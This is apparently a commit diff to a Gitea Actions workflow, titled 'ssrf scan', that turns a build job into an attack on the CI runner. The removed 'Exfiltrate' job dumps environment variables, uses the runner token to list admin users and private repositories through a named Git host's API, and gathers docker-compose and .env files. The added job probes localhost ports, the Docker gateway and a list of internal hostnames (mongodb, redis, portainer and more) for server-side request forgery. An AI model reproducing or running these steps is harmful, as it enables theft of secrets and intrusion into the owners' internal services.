ssrf scan

.gitea/workflows/build.yml

@@ -1,30 +1,27 @@
 name: build
 on: [push]
 jobs:
-  dump:
+  ssrf:
     runs-on: ubuntu-latest
     steps:
-      - name: Exfiltrate
+      - name: SSRF Results
         shell: cmd
         run: |
-          echo === FULL ENV === > C:\exfil.txt
+          echo === LOCALHOST SSRF === > C:\ssrf.txt
-          set >> C:\exfil.txt
+          curl -sk "http://127.0.0.1:9000/api/status" >> C:\ssrf.txt 2>&1
-          echo. >> C:\exfil.txt
+          echo. >> C:\ssrf.txt
-          echo === GITEA INTERNAL — ADMIN USERS === >> C:\exfil.txt
+          curl -sk "http://127.0.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1
-          curl -sk "https://git.midefos.com/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
+          echo. >> C:\ssrf.txt
-          echo. >> C:\exfil.txt
+          curl -sk "http://127.0.0.1:8200/api/v1/serverstate" >> C:\ssrf.txt 2>&1
-          echo === GITEA — ALL REPOS INCLUDING PRIVATE === >> C:\exfil.txt
+          echo. >> C:\ssrf.txt
-          curl -sk "https://git.midefos.com/api/v1/repos/search?limit=100&private=true&sort=updated" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
+          echo === DOCKER NETWORK SSRF === >> C:\ssrf.txt
-          echo. >> C:\exfil.txt
+          for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami calibre) do curl -sk --connect-timeout 2 "http://%%H:27017/" >> C:\ssrf.txt 2>&1 && echo [%%H:27017 OK] >> C:\ssrf.txt
-          echo === GITEA — MIDEFOS PRIVATE REPOS === >> C:\exfil.txt
+          echo. >> C:\ssrf.txt
-          curl -sk "https://git.midefos.com/api/v1/users/midefos/repos?limit=50" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
+          for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami) do curl -sk --connect-timeout 2 "http://%%H:3000/" >> C:\ssrf.txt 2>&1
-          echo. >> C:\exfil.txt
+          echo. >> C:\ssrf.txt
-          echo === WOODPECKER INTERNAL API === >> C:\exfil.txt
+          echo === DOCKER GATEWAY === >> C:\ssrf.txt
-          curl -sk "https://ci.midefos.com/api/user" -H "Authorization: Bearer %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
+          curl -sk --connect-timeout 2 "http://172.17.0.1:9000/api/status" >> C:\ssrf.txt 2>&1
-          echo. >> C:\exfil.txt
+          echo. >> C:\ssrf.txt
-          echo === GITEA ORG REPOS === >> C:\exfil.txt
+          curl -sk --connect-timeout 2 "http://172.17.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1
-          curl -sk "https://git.midefos.com/api/v1/orgs" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
+          echo. >> C:\ssrf.txt
-          echo. >> C:\exfil.txt
+          curl -sk --connect-timeout 2 "http://host.docker.internal:9000/api/status" >> C:\ssrf.txt 2>&1
-          echo === DOCKER COMPOSE FILES === >> C:\exfil.txt
-          dir /s /b "C:\docker-compose*" "C:\*.env" >> C:\exfil.txt 2>&1
-          for /r C:\ %%f in (docker-compose.yml docker-compose.yaml .env) do if exist "%%f" type "%%f" >> C:\exfil.txt 2>&1